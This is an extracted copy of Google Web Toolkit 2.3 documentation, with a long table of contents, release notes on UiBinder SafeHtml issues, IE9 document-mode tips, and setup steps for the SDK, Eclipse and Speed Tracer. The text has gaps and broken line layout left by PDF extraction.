Professional Documents
Culture Documents
Tartalomjegyzk
1.Introduction...................................................................................................................................................................... 10 1.1.Overview.................................................................................................................................................................. 10 1.2.What's New in GWT 2.3? ....................................................................................................................................... 10 1.2.1.New Features.............................................................................................................................................. 10 1.2.2.Getting Started............................................................................................................................................. 11 1.2.3.Release Notes for 2.3.0............................................................................................................................... 11 1.2.4.Release Notes for 2.3.0 (M1)...................................................................................................................... 12 1.2.5.IE9 Support - Tips and Tricks ..................................................................................................................... 13 1.3.GWT SDK................................................................................................................................................................ 15 1.4.Speed Tracer........................................................................................................................................................... 17 1.5.Google Plugin for Eclipse........................................................................................................................................ 17 1.6.Google Web Toolkit in Action .................................................................................................................................. 17 2.Get Started....................................................................................................................................................................... 18 2.1.Get Started with the GWT SDK ..............................................................................................................................18 2.2.Set up Eclipse.......................................................................................................................................................... 21 2.3.Speed Tracer (2.1)................................................................................................................................................... 25 2.4.SpringSource Tools (2.1)......................................................................................................................................... 36 3.Tutorials............................................................................................................................................................................ 42 3.1.Tutorial Overview .................................................................................................................................................... 42 3.2.Build a Sample GWT Application ............................................................................................................................43 3.2.1.Step 1: Create a GWT Project .................................................................................................................... 44 3.2.1.1.Creating a GWT application.............................................................................................................44 3.2.1.2.Testing the default project components............................................................................................46 3.2.1.3.Examining the project components..................................................................................................49 3.2.2.Step 2: Design the Application ................................................................................................................... 51 3.2.2.1.Examining the functional requirements............................................................................................51 3.2.2.2.Identifying the elements of the UI design.........................................................................................51 3.2.3.Step 3: Build the User Interface ................................................................................................................. 52 3.2.3.1.Selecting GWT widgets to implement the UI elements....................................................................52 3.2.3.2.Selecting GWT panels to lay out the UI elements............................................................................53 3.2.3.3.Embedding the application in the host page....................................................................................54 3.2.3.4.Implementing widgets and panels....................................................................................................55 3.2.3.5.Testing the layout.............................................................................................................................. 62 3.2.4.Step 4: Manage Events on the Client .........................................................................................................63 3.2.4.1.Reviewing the requirements for event handling...............................................................................63 3.2.4.2.Listening for events..........................................................................................................................63 3.2.4.3.Responding to user events...............................................................................................................66 3.2.4.4.Testing event handling......................................................................................................................67 3.2.5.Step 5: Code Functionality on the Client ....................................................................................................68 2 / 469
3.2.5.1.Adding and removing stocks from the stock table............................................................................68 3.2.5.2.Refreshing the Price and Change fields...........................................................................................69 3.2.5.3.Adding the timestamp.......................................................................................................................75 3.2.6.Step 6: Debug a GWT Application ..............................................................................................................76 3.2.6.1.Finding the bug................................................................................................................................. 77 3.2.6.2.Fixing the bug................................................................................................................................... 78 3.2.6.3.Testing the bug fix in development mode.........................................................................................79 3.2.7.Step 7: Apply Style ..................................................................................................................................... 79 3.2.7.1.Associating Style Sheets with a Project...........................................................................................80 3.2.7.2.Changing the Theme........................................................................................................................ 81 3.2.7.3.Associating style rules with GWT-generated HTML elements..........................................................82 3.2.7.4.Creating secondary styles dependent on a primary style.................................................................88 3.2.7.5.Updating styles dynamically.............................................................................................................89 3.2.7.6.Setting an element's HTML attributes...............................................................................................90 3.2.7.7.Adding images or other static HTML elements.................................................................................90 3.2.8.Step 8: Compiling a GWT Application ........................................................................................................92 3.2.8.1.Compiling Java to JavaScript...........................................................................................................92 3.2.8.2.Testing in Production Mode..............................................................................................................92 3.2.8.3.Deploying the Application to a Web Server......................................................................................93 3.3.Client-Server Communication ................................................................................................................................. 94 3.3.1.GWT RPC ................................................................................................................................................... 95 3.3.1.1.Creating a service............................................................................................................................. 97 3.3.1.2.Invoking the service from the client................................................................................................100 3.3.1.3.Serializing Java objects.................................................................................................................. 102 3.3.1.4.Handling Exceptions....................................................................................................................... 103 3.3.2.JSON ........................................................................................................................................................ 107 3.3.2.1.Creating a source of JSON data on your local server....................................................................108 3.3.2.2.Manipulating JSON data in the client-side code.............................................................................111 3.3.2.3.Making HTTP requests to retrieve data from the server.................................................................113 3.3.2.4.Handling GET errors....................................................................................................................... 116 3.3.3.JSON - PHP .............................................................................................................................................. 118 3.3.4.Cross-Site ................................................................................................................................................. 120 3.3.4.1.Reviewing the requirements and design........................................................................................120 3.3.4.2.Creating a data a source................................................................................................................122 3.3.4.3.Requesting the data from the remote server..................................................................................124 3.3.4.4.Handling the response.................................................................................................................... 128 3.3.4.5.Testing............................................................................................................................................ 129 3.4.Internationalization ............................................................................................................................................... 130 3.4.1.Design....................................................................................................................................................... 130 3.4.2.Creating the translation for each language supported..............................................................................131 3.4.3.Localizing StockWatcher........................................................................................................................... 136 3.5.JUnit Testing ......................................................................................................................................................... 139 3.5.1.Creating a JUnit test.................................................................................................................................. 139 3 / 469
3.5.2.Running unit tests...................................................................................................................................... 141 3.5.3.Writing a unit test....................................................................................................................................... 142 3.5.4.Resolving problems identified in unit tests................................................................................................143 3.6.Deploy to Google App Engine .............................................................................................................................. 145 3.6.1.Get started with App Engine...................................................................................................................... 145 3.6.2.Deploy the application to App Engine........................................................................................................148 3.6.3.Personalize the application with the User Service....................................................................................149 3.6.4.Store data in the datastore........................................................................................................................ 154 4.Documentation............................................................................................................................................................... 163 4.1.Organize Projects ................................................................................................................................................. 163 4.1.1.HTML Host Pages..................................................................................................................................... 163 4.1.2.Standard Directory and Package Layout...................................................................................................164 4.1.3.Modules: Units of configuration................................................................................................................. 167 4.1.4.Defining a module: format of module XML files.........................................................................................168 4.1.5.How do I know which GWT modules I need to inherit?.............................................................................172 4.1.6.Automatic Resource Inclusion................................................................................................................... 173 4.1.7.Filtering Public and Source Packages.......................................................................................................174 4.1.8.The Bootstrap Sequence........................................................................................................................... 174 4.2.Compile & Debug ................................................................................................................................................. 176 4.2.1.Debugging in Development Mode.............................................................................................................176 4.2.2.Running in Production Mode..................................................................................................................... 184 4.2.3.Understanding the GWT Compiler............................................................................................................184 4.3.Coding Basics ....................................................................................................................................................... 188 4.3.1.Client-Side Code ...................................................................................................................................... 189 4.3.2.Compatibility with the Java Language and Libraries ................................................................................191 4.3.3.History ...................................................................................................................................................... 193 4.3.4.Number and Date Formatting ................................................................................................................... 196 4.3.5.Programming Delayed Logic .................................................................................................................... 198 4.3.6.Working with JSON .................................................................................................................................. 202 4.3.7.Working with XML ..................................................................................................................................... 203 4.3.8.JavaScript Native Interface (JSNI) ...........................................................................................................205 4.3.9.JavaScript Overlay Types ......................................................................................................................... 210 4.3.10.Deferred Binding .................................................................................................................................... 213 4.4.Build User Interfaces (2.1, 2.2).............................................................................................................................. 217 4.4.1.Cross-Browser Support ............................................................................................................................ 217 4.4.2.Layout Using Panels ................................................................................................................................ 218 4.4.2.1.Basic Panels................................................................................................................................... 218 RootPanel......................................................................................................................................... 218 FlowPanel......................................................................................................................................... 218 HTMLPanel...................................................................................................................................... 218 FormPanel........................................................................................................................................ 218 ScrollPanel....................................................................................................................................... 218 PopupPanel and DialogBox.............................................................................................................218 Grid and FlexTable........................................................................................................................... 218 4 / 469
4.4.2.2.Layout Panels................................................................................................................................. 218 RootLayoutPanel.............................................................................................................................. 219 LayoutPanel..................................................................................................................................... 219 DockLayoutPanel............................................................................................................................. 219 SplitLayoutPanel.............................................................................................................................. 219 StackLayoutPanel............................................................................................................................ 220 TabLayoutPanel................................................................................................................................ 221 When should I not use layout panels?.............................................................................................221 4.4.2.3.Animation........................................................................................................................................ 221 4.4.2.4.RequiresResize and ProvidesResize.............................................................................................221 4.4.2.5.Moving to Standards Mode.............................................................................................................222 4.4.2.6.Design of the GWT 2.0 layout system............................................................................................222 4.4.2.7.Recipes........................................................................................................................................... 223 Basic application layout.................................................................................................................... 223 Splitters............................................................................................................................................ 224 Layout animation.............................................................................................................................. 224 Implementing a Composite that RequiresResize.............................................................................225 Child widget visibility........................................................................................................................ 225 Using a LayoutPanel without RootLayoutPanel...............................................................................225 Tables and Frames........................................................................................................................... 225 4.4.3.Widgets .................................................................................................................................................... 226 4.4.4.Creating Custom Widgets ........................................................................................................................ 227 4.4.5.Cell Widgets (2.1)...................................................................................................................................... 229 4.4.5.1.Cell Widgets................................................................................................................................... 230 4.4.5.2.Cells................................................................................................................................................ 233 4.4.5.3.Selection, Data and Paging............................................................................................................234 4.4.6.Cell Table (2.2).......................................................................................................................................... 242 4.4.6.1.Column Sorting............................................................................................................................... 242 4.4.6.2.Controlling Column Widths.............................................................................................................245 4.4.7.Editors (2.1)............................................................................................................................................... 247 4.4.8.Working with the DOM .............................................................................................................................. 252 4.4.8.1.Accessing the Browser's DOM ......................................................................................................252 4.4.8.2.Using the DOM to manipulate a widget..........................................................................................252 4.4.8.3.Finding an element in the DOM......................................................................................................253 4.4.8.4.Using the DOM to capture a browser event...................................................................................254 4.4.9.Event Handlers ......................................................................................................................................... 254 4.4.10.Working with CSS ................................................................................................................................... 255 4.4.11.Declarative UI with UiBinder ................................................................................................................... 258 4.4.11.1.Overview....................................................................................................................................... 258 4.4.11.2.Hello World................................................................................................................................... 259 4.4.11.3.Hello Widget World....................................................................................................................... 260 4.4.11.4.Using Panels................................................................................................................................. 260 4.4.11.5.HTML entities................................................................................................................................ 261 4.4.11.6.Simple binding of event handlers..................................................................................................261 4.4.11.7.Hello Stylish World........................................................................................................................ 262 4.4.11.8.Programmatic access to inline Styles...........................................................................................263 5 / 469
4.4.11.9.Using an external resource...........................................................................................................263 4.4.11.10.Share resource instances...........................................................................................................264 4.4.11.11.Using a widget that requires constructor args.............................................................................265 4.4.11.12.Apply different XML templates to the same widget.....................................................................266 4.4.12.Bundling Image Resources .................................................................................................................... 268 4.5.HTML5 Feature Support (2.3)............................................................................................................................... 269 4.5.1.What is HTML5 Storage?.......................................................................................................................... 269 4.5.2.Why Use HTML5 Storage?....................................................................................................................... 269 4.5.3.Details You Should Know About HTML5 Storage......................................................................................270 4.5.4.HTML5 Storage Support in GWT..............................................................................................................271 4.5.5.How to Use HTML5 Storage in Your Web Application...............................................................................271 4.6.Security (2.1, 2.2, 2.3)........................................................................................................................................... 275 4.6.1.Security for GWT Applications .................................................................................................................. 275 4.6.1.1.Part 1: JavaScript Vulnerabilities....................................................................................................275 4.6.1.2.Part 2: How GWT Developers Can Fight Back...............................................................................279 4.6.2.SafeHtml (2.1, 2.2).................................................................................................................................... 282 4.6.2.1.Coding Guidelines.......................................................................................................................... 283 4.6.2.2.Coding Guidelines for Developers of Widget Client Code..............................................................283 4.6.2.3.Coding Guidelines for Widget Developers.....................................................................................288 4.6.2.4.Caveats and Limitations................................................................................................................. 289 4.6.3.GWT RPC XSRF protection (2.3)..............................................................................................................290 4.6.3.1.Overview......................................................................................................................................... 290 4.6.3.2.Server-side changes....................................................................................................................... 290 4.6.3.3.Client-side changes........................................................................................................................ 291 4.7.Activities and Places (2.1)..................................................................................................................................... 293 4.7.1.Views......................................................................................................................................................... 293 4.7.2.ClientFactory............................................................................................................................................. 295 4.7.3.Activities.................................................................................................................................................... 296 4.7.4.Places........................................................................................................................................................ 297 4.7.5.PlaceHistoryMapper.................................................................................................................................. 297 4.7.6.ActivityMapper........................................................................................................................................... 297 4.7.7.Putting it all together.................................................................................................................................. 298 4.7.8.How it all works......................................................................................................................................... 298 4.7.9.How to navigate......................................................................................................................................... 298 4.7.10.Related resources................................................................................................................................... 299 4.8.RequestFactory (2.1)............................................................................................................................................. 300 4.8.1.Overview................................................................................................................................................... 300 4.8.2.Coding with RequestFactory..................................................................................................................... 300 4.8.2.1.Entities............................................................................................................................................ 300 4.8.2.2.Entity Proxies.................................................................................................................................. 301 4.8.2.3.Value Proxies.................................................................................................................................. 302 4.8.2.4.RequestFactory Interface...............................................................................................................302 4.8.2.5.Transportable types........................................................................................................................ 303 6 / 469
4.8.2.6.Server Implementations..................................................................................................................304 4.8.2.7.Implementing a service in an entity class.......................................................................................305 4.8.2.8.Using Locator and ServiceLocator.................................................................................................306 4.8.3.Putting it all together.................................................................................................................................. 307 4.8.3.1.Wiring............................................................................................................................................. 307 4.8.3.2.Using RequestFactory.................................................................................................................... 308 4.8.3.3.Entity Relationships........................................................................................................................ 309 4.8.3.4.Validating Entities........................................................................................................................... 309 4.9.Logging (2.1)......................................................................................................................................................... 310 4.9.1.Overview of the Logging Framework ........................................................................................................310 4.9.2.Super Simple Recipe for Adding GWT Logging .......................................................................................310 4.9.3.Building/Running the Logging Example ...................................................................................................310 4.9.4.Loggers, Handlers and the Root Logger ..................................................................................................311 4.9.5.Configuring GWT Logging ........................................................................................................................ 312 4.9.6.Different Types of Handlers ...................................................................................................................... 312 4.9.7.Client vs. Server-side Logging ................................................................................................................. 313 4.9.8.Remote Logging ....................................................................................................................................... 313 4.9.9.Making All Logging Code Compile Out .....................................................................................................314 4.9.10.Emulated and Non-Emulated Classes....................................................................................................314 4.10.Communicate with a Server ............................................................................................................................... 315 4.10.1.Server-side Code.................................................................................................................................... 315 4.10.2.Remote Procedure Calls......................................................................................................................... 315 4.10.3.RPC Plumbing Diagram.......................................................................................................................... 316 4.10.4.Creating Services.................................................................................................................................... 316 4.10.5.Implementing Services............................................................................................................................ 317 4.10.6.Actually Making a Call............................................................................................................................. 319 4.10.7.Serializable Types................................................................................................................................... 320 4.10.8.Handling Exceptions................................................................................................................................ 321 4.10.9.Architectural Perspectives....................................................................................................................... 322 4.10.10.Deploying RPC...................................................................................................................................... 323 4.10.11.Making HTTP requests.......................................................................................................................... 325 4.10.12.Getting Used to Asynchronous Calls.....................................................................................................326 4.10.13.Direct-Eval RPC.................................................................................................................................... 328 4.11.Accessibility Support ........................................................................................................................................... 329 4.11.1.Overview.................................................................................................................................................. 329 4.11.2.Making Widgets Accessible..................................................................................................................... 330 4.11.3.Class com.google.gwt.user.client.ui.Accessibility....................................................................................330 4.11.4.Adding ARIA Roles.................................................................................................................................. 330 4.11.5.Adding ARIA States................................................................................................................................. 330 4.11.6.Adding Keyboard Accessibility.................................................................................................................331 4.11.7.Indicating Selection Changes.................................................................................................................. 332 4.11.8.Associating Meaningful Labels................................................................................................................ 333 4.11.9.Automatically Speaking Highlighted Content...........................................................................................333 7 / 469
4.11.10.General Advice For Widget Developers.................................................................................................335 4.12.Internationalization ............................................................................................................................................. 336 4.12.1.Locales in GWT....................................................................................................................................... 337 4.12.2.Static String Internationalization..............................................................................................................340 4.12.3.Dynamic String Internationalization.........................................................................................................341 4.12.4.Java Annotations..................................................................................................................................... 341 4.12.5.Localized Properties Files....................................................................................................................... 342 4.12.6.Constants ............................................................................................................................................... 343 4.12.7.Messages ............................................................................................................................................... 344 4.12.8.Plural Forms ........................................................................................................................................... 349 4.12.9.UiBinder .................................................................................................................................................. 351 4.13.JUnit Testing ....................................................................................................................................................... 357 4.13.1.Architecting Your App for Testing.............................................................................................................357 4.13.2.Creating a Test Case............................................................................................................................... 357 4.13.3.Asynchronous Testing............................................................................................................................. 361 4.13.4.Combining TestCase classes into a TestSuite.........................................................................................362 4.13.5.Setting up and tearing down JUnit test cases that use GWT code.........................................................362 4.13.6.Running Tests in Eclipse......................................................................................................................... 363 4.13.7.HtmlUnit .................................................................................................................................................. 363 4.13.8.Remote Testing ....................................................................................................................................... 364 4.13.9.Code Coverage ...................................................................................................................................... 367 4.14.Deploy a GWT Application .................................................................................................................................. 371 4.14.1.Deploying on a web server...................................................................................................................... 371 4.14.2.Deploying on a servlet container using RPC...........................................................................................371 4.14.3.Deploying on Google App Engine (Java runtime)...................................................................................372 4.15.Optimize a GWT Application ............................................................................................................................... 373 4.15.1.Code Splitting ......................................................................................................................................... 374 4.15.2.Compile Report ...................................................................................................................................... 379 4.15.3.Client Bundle .......................................................................................................................................... 386 4.15.3.1.Overview....................................................................................................................................... 386 4.15.3.2.DataResource............................................................................................................................... 388 4.15.3.3.TextResource and ExternalTextResource....................................................................................388 4.15.3.4.ImageResource............................................................................................................................ 389 4.15.3.5.GwtCreateResource..................................................................................................................... 390 4.15.3.6.CssResource................................................................................................................................ 390 4.15.3.7.CssResourceCookbook................................................................................................................401 4.15.4.Lightweight Metrics ................................................................................................................................. 405 5.Articles........................................................................................................................................................................... 408 5.1.Using a Dynamic Host Page for Authentication and Initialization .........................................................................408 5.2.Using GWT with Hibernate ................................................................................................................................... 411 5.3.Testing Methodologies Using Google Web Toolkit ...............................................................................................426 5.4.DOM Events, Memory Leaks, and You .................................................................................................................433
8 / 469
5.5.Security for GWT Applications .............................................................................................................................. 435 5.6.Using GWT for JSON Mashups ............................................................................................................................ 443 5.7.Put Your GWT App on Facebook .......................................................................................................................... 448 5.8.Building iOS Applications with GWT ..................................................................................................................... 450 6.Speed Tracer (2.1)......................................................................................................................................................... 452 6.1.Examples .............................................................................................................................................................. 452 6.1.1.Example Scenario 1: Redundant Layout...................................................................................................452 6.1.2.Example Scenario 2: Painting Pitfalls........................................................................................................455 6.2.Hints ..................................................................................................................................................................... 457 6.3.Data Dump Format ............................................................................................................................................... 459 6.3.1.Browser Timeline Events........................................................................................................................... 459 6.3.2.Speed Tracer Event................................................................................................................................... 465 6.4.Logging API .......................................................................................................................................................... 466 6.5.Server-Side Tracing (2.1)...................................................................................................................................... 467 6.6.FAQ ...................................................................................................................................................................... 468
9 / 469
1.
1.1. Overview
Introduction
Google Web Toolkit (GWT) is a development toolkit for building and optimizing complex browser-based applications. Its goal is to enable productive development of high-performance web applications without the developer having to be an expert in browser quirks, XMLHttpRequest, and JavaScript. GWT is used by many products at Google, including Google Wave and the new version of AdWords. It's open source, completely free, and used by thousands of developers around the world.
1.2.
The latest release of GWT and the Google Plugin for Eclipse (GPE), version 2.3, includes the new features and functionality listed below. If you're currently using 2.2, follow the instructions for getting started with GWT 2.3. See the 2.3 Release Notes for bug fixes and other changes.
1.2.1.
New Features
10 / 469
1.2.2.
Getting Started
Instructions for installing this new release of GPE and the GWT SDK can be found here: http://code.google.com/eclipse/docs/getting_started.html. If youre simply looking for the GWT 2.3 SDK, you can find it here: http://code.google.com/p/google-web-toolkit/downloads/detail?name=gwt-2.3.0.zip
Problems?
Any problems using these new features? As always, let us know on the GWT Developer Forum and our great community or GWT team members will be happy to help out.
1.2.3.
General Enhancments
Added IE9 support. See the IE9 - Tips and Tricks (2.5. fejezet) doc for more information. 2.3.0 (M1) - General Enhancements (2.4. fejezet)
Known Issues
At compile time, you may see a warning similar to the following: "Configuration property UiBinder.useSafeHtmlTemplates is false! UiBinder SafeHtml integration is off, leaving your users more vulnerable to cross-site scripting attacks". This warning occurs because although UiBinder HTML rendering has been updated to support SafeHtml, by default this is turned off (set to false), due to some minor bugs. If you wish, you can change the default by setting the "useSafeHtmlTemplates" property to true in UiBinder.gwt.xml. You can determine whether you are affected by the known bugs by checking the public bugs 6145, 6149, and 6198. See the complete list of bug fixes and enhancements for 2.3.0 in the GWT issue tracker.
Issue 6145
If you reference ImageResource#getUrl() in a UiBinder file, the data url is sanitized. This is probably related to the recent UiBinder/template work.
In ui.xml: <img src="{res.gwtLogo.getURL}"/> Results in generated template method: public com.google.gwt.safehtml.shared.SafeHtml html1(java.lang.String arg0) { StringBuilder sb = new java.lang.StringBuilder(); sb.append("<img src='"); sb.append( com.google.gwt.safehtml.shared.SafeHtmlUtils.htmlEscape( com.google.gwt.safehtml.shared.UriUtils.sanitizeUri(arg0))); sb.append("'>"); return new com.google.gwt.safehtml.shared.OnlyToBeUsedInGeneratedCodeStringBlessedAsSafeHtml(sb.toString()); }
11 / 469
Issue 6149
We need a ui:sprite attribute in <img>, e.g.
<div><img ui:sprite={myImageResource}/>
The workaround is to create a sprite, but that requires obscure boilerplate in a <ui:style>. This is particularly a problem because people often incorrectly do this:
<img src={myImageResource.getUrl}/>
which used to accidentally work (except on IE which will show the full content of a sprite), and which is now fully broken after the UiBinder SafeHtml integration
Issue 6198
It is common to define Messages methods that return SafeHtml objects. And it is common to bake such messages into a UI via <ui:text>. But with its recent move to SafeHtmlTemplates, UiBinder now escapes all <ui:text> elements as strings. Even in an HTML context, and even if they're of type SafeHtml. We should be smarter about that. At the same time, we should probably make the methods on the Messages interfaces that binder generates return SafeHtml rather than String.
1.2.4.
General Enhancments
Added the following functionality to the Google Plugin for Eclipse: Google API integration Project import from Google Project Hosting Single sign on, for accessing Project Hosting and App Engine Added GWT SDK support for HTML5 local storage
See the complete list of bug fixes and enhancements for 2.3.0 M1 in the GWT issue tracker.
Issue 5125
IE9 needs its own user.agent value and subclasses of DOMImpl*, et al. Looking at the platform previews that are currently available, it seems quite likely that it will want to be a subclass of DOMImplStandard rather than DOMImplTrident, but that remains to be proven.
Issue 1720
I create a named iframe, and I want it to handle onLoad events, so in my constructor I add:
12 / 469
sinkEvents(Event.ONLOAD);
ONLOAD events are fired on Safari and Mozilla, but the event is not fired on IE.
1.2.5. Modes
Running an application in IE9 does not necessarily mean you are running IE9 standards mode. IE9 has many modes that can be defined in the page head tag (see the "Document Mode" section below). You can overwrite the page mode manually by selecting F12, where you can set both browser mode and document mode. GWT IE permutations work best with each version of "standards" mode. Mixing modes, say browser mode=7 and document mode = 9, is not recommended and the behavior is undefined. To keep it simple, try to keep browser modes and document modes the same. If you must use mixed mode, be aware that you may run into issues that are still not supported. The exception is if you are emulating an older browser when you still do not support the new version, for instance, you emulate IE7 (EmulateIE7) on IE9.
Filling Bugs
Due to the many 'modes', when filling issues, make sure to add both the browser and document mode; and the browser version. This will help us triage what is IE9 specific, what is related to older versions or if the issue is related to mixed 'mode' setting. To get the browser mode and document mode select "Menu > Tools > Developer" To get the version, select "Help > About Internet Explorer"
Document Mode
It is important to understand how compatibility mode works before you release a new version of your app. If you are using X-UA-compatible tag, test on older browsers as well. In short, whenever possible, use standards mode by adding <!DOCTYPE html> as the first element in your html file; and add <meta http-equiv="X-UA-Compatible" content="IE=9" > to <head> to future proof your app. Avoid using 'edge' unless you are sure what you are doing.
<!DOCTYPE html> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=9"> </head> <body> <script language='javascript'> ..
13 / 469
based on fall back values. You may need to implement a specific binding in case the fall back behavior does not replace the missing binding. This is telling you that the IE9 permutation of your application will use MySuperDuperWidgetIE6. Your module binds IE8 to this implementation, and since there is no explicit binding for IE9, it will fall back to whatever binding IE8 is using (in this case a baseline IE6 implementation). The action item here is to verify that this implementation works as expected in IE9 standards mode.
14 / 469
1.3.
GWT SDK
Writing web apps for multiple browsers can be a tedious and error-prone process. You can spend 90% of your time working around browser quirks. In addition, building, reusing, and maintaining large JavaScript code bases and AJAX components can be difficult and fragile. Google Web Toolkit (GWT) eases this burden by allowing developers to quickly build and maintain complex yet highly performant JavaScript front-end applications in the Java programming language.
Write AJAX apps in the Java language, then compile to optimized JavaScript
Unlike JavaScript minifiers that work only at a textual level, the GWT compiler performs comprehensive static analysis and optimizations across your entire GWT codebase, often producing JavaScript that loads and executes faster than equivalent handwritten JavaScript. For example, the GWT compiler safely eliminates dead code -- aggressively pruning unused classes, methods, fields, and even method parameters -- to ensure that your compiled script is the smallest it can possibly be. Another example: the GWT compiler selectively inlines methods, eliminating the performance overhead of method calls.
class.
16 / 469
1.4.
Speed Tracer
Speed Tracer is a tool to help you identify and fix performance problems in your web applications. It visualizes metrics that are taken from low level instrumentation points inside of the browser and analyzes them as your application runs. Speed Tracer is available as a Chrome extension and works on all platforms where extensions are currently supported (Windows and Linux). Using Speed Tracer you are able to get a better picture of where time is being spent in your application. This includes problems caused by JavaScript parsing and execution, layout, CSS style recalculation and selector matching, DOM event handling, network resource loading, timer fires, XMLHttpRequest callbacks, painting, and more. Install Speed Tracer into your Google Chrome browser and check out our example scenarios for some tips on what to look for in your applications.
1.5.
Google Plugin for Eclipse is a set of software development tools that enables Java developers to quickly design, build, optimize, and deploy cloud-based applications. GPE assists developers in efficiently creating a rich user experience, generating high quality Ajax code using the Google Web Toolkit, optimizing performance with Speed Tracer, and effortlessly deploying applications to the App Engine. These powerful tools remove tedium and free developers to focus on creating great application logic. GPE is the first suite of integrated development tools designed specifically for Eclipse Java developers to create fast, reliable and high quality applications for the Google cloud.
1.6.
If you're like us, the first thing you want to do is see examples of what you can do with Google Web Toolkit.
If you'd like to see who else is using GWT, check out the GWT Gallery. You'll be able to find other applications and libraries built with GWT, comment on them, rate them, and search for them by tag or by name. You can also submit your own entry if you have a project that you want to share. You can also find a wide variety of open source projects related to GWT hosted on Google Code. Please note that the applications linked from this page are provided by third-parties and are not endorsed by Google. http://code.google.com/intl/hu-HU/webtoolkit/examples/
17 / 469
2.
2.1.
Get Started
Prerequisites
1. You will need the Java SDK version 1.5 or later. If necessary, download and install the Java SE Development Kit (JDK) for your platform. Mac users, see Apple's Java developer site to download and install the latest version of the Java Developer Kit available for Mac OS X. 2. Apache Ant is also necessary to run command line arguments. If you don't already have it, install Apache Ant. If you have problems running Ant on the Mac, try setting the $JDK_HOME environment variable with export JDK_HOME="/Library/Java/Home"
The GWT SDK doesn't have an installer application. All the files you need to run and use the SDK are located in the extracted directory.
The webAppCreator script will generate a number of files in MyWebApp/, including some basic "Hello, world" functionality in the class MyWebApp/src/com/mycompany/mywebapp/client/MyWebApp.java. The script also generates an Ant build script MyWebApp/build.xml.
This command starts GWT's development mode server, a local server used for development and debugging, as follows: 18 / 469
Launch the local server in a browser by either 1) clicking "Launch Default Browser" or 2) clicking "Copy to Clipboard" (to copy its URL), then pasting into Firefox, Internet Explorer, Chrome, or Safari. Since this is your first time hitting the development mode server, it will prompt you to install the Google Web Toolkit Developer Plugin. Follow the instructions in the browser to install the plugin, which may require restarting the browser. Once the Google Web Toolkit Developer Plugin is installed in your browser, navigate to the URL again and the starter application will load in development mode, as follows:.
Now, save the file and simply click "Refresh" in your browser to see your change. The button should now say "Send to Server" instead of "Send":
19 / 469
ant build
The "build" Ant target invokes the GWT compiler which generates a number of JavaScript and HTML files from the MyWebApp Java source code in the MyWebApp/war/ subdirectory. To see the application, open the file MyWebApp/war/MyWebApp.html in your web browser. The application should look identical to the development mode above. Congratulations! You've created your first web application using Google Web Toolkit. Since you've compiled the project, you're now running pure JavaScript and HTML that works in IE, Chrome, Firefox, Safari, and Opera. You could now deploy your application to production by serving the HTML and JavaScript files in your MyWebApp/war/ directory from your web servers.
Set up an IDE
Now that you've created your first app, you probably want to do something a bit more interesting. But first, if you normally work with an IDE you'll want to set up Eclipse to use the Google Web Toolkit SDK: Set up Eclipse (2.2. fejezet) If you are going to stick with the command line, check out Speed Tracer (1.4. fejezet) and then head over to Build a Sample GWT App.
20 / 469
2.2.
Set up Eclipse
Google Web Toolkit provides a set of tools that can simply be used with a text editor, the command line, and a browser. However, you may also use GWT with your favorite IDE. Google provides a plugin for Eclipse that makes development with Google Web Toolkit even easier.
Download Eclipse
If you do not already have Eclipse, you may download it from the Eclipse Website. We suggest downloading Eclipse 3.6 (Helios). For Mac users, we recommend the Cocoa build.
21 / 469
Congratulations, you now have a Google Web Toolkit enabled web application. The plugin has created a boilerplate project in your workspace.
Once the browser plugin is installed, navigate to the URL again and the starter application will load in development mode.
22 / 469
Look inside the MyWebApp.java file in the client package. Line 40 constructs the send button.
final Button sendButton = new Button("Send");
Now, save the file and simply click "Refresh" back in your browser to see your change. The button should now say "Send to Server" instead of "Send". At this point, you can also set breakpoints, inspect variables and modify code as you would normally expect from a Java Eclipse debugging session.
project and choosing Google > GWT Compile. This command invokes the GWT compiler which generates a number of JavaScript and HTML files from the MyWebApp
23 / 469
Java source code in the MyWebApp/war/ subdirectory. MyWebApp/war/MyWebApp.html in your web browser.
To
see
the
final
application,
open
the
file
Congratulations! You've created your first web application using Google Web Toolkit. Since you've compiled the project, you're now running pure JavaScript and HTML that works in IE, Chrome, Firefox, Safari, and Opera. You could now deploy your application to production by serving the HTML and JavaScript files in your MyWebApp/war/ directory from your web servers.
24 / 469
2.3.
Speed Tracer is a Google Chrome extension that helps you identify and fix performance problems in your web applications. It visualizes metrics that are taken from low level instrumentation points inside of the browser and analyzes them as your application runs. Using Speed Tracer you are able to get a better picture of where time is being spent in your application.
To modify your desktop shortcut for Google Chrome, right-click on the Google Chrome shortcut icon and choose Properties:
Then, paste the --enable-extension-timeline-api flag into the Target field at the very end of the string (with a space separating it from chrome.exe).
25 / 469
Click OK to save the setting and dismiss the dialog. To start Google Chrome, double-click on the shortcut icon you just modified. - Mac OS X On Mac OS X, you need a bootstrap application to set the appropriate flag in Google Chrome. First download the Speed Tracer bootstrap application, then Quit Google Chrome and restart it by running the "ChromeWithSpeedTracer" application that you just downloaded. Please ensure that you are running the Dev Channel version of Google Chrome from step 1. Alternatively, you can start Chrome from the command line (or an alias) with this flag:
$ /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --enable-extensiontimeline-api &
3. Install Speed Tracer - Now Google Chrome is ready for you to add Speed Tracer extension. Click on this install button: By installing this extension, you agree to the Google Chrome Extension Gallery Terms of Service.
Note: If you run into trouble, first check the FAQ, then try the Speed Tracer Google Group.
26 / 469
2. Click the stopwatch icon to the right of the browser's web address field to open the Speed Tracer Monitor window and begin recording events. You should see data being populated in the Monitor window. To focus on the subset of data you want to analyze, click and drag the handles on the thin Overview graph, or click and drag a selection box over the main graph at the top. Only events in the zoomed region (highlighted below) appear in the list below the timeline.
3. If you want to analyze page loading, press the Refresh button on the monitored.
4. You can pause the recording of events by pressing the Record Button in the out the timeline and start fresh, you can press the Reset button .
27 / 469
5. Click on a row in the table below the graphs to get details on a particular event.
28 / 469
7. Click on a row in the event table to get details for each event.
29 / 469
This section describes the components of the Speed Tracer Monitor window.
Toolbar
Record Records the incoming data stream, updating the monitor. Click to toggle between record and stop. Reset Resets the data store in the Monitor window, removing the previously recorded data. Save Writes the profiling data out to a text file. See Data Dump Format for information on the format of this file. Time display Shows the total amount of data captured, plus the current range of data being displayed in the timeline graphs. Zoom (in/out/all) Adjusts the amount of data shown on the timeline graphs. The first two buttons let you zoom in and zoom out. The third button zooms out all the way. Zoom can also be adjusted by clicking and dragging on the graphs.
30 / 469
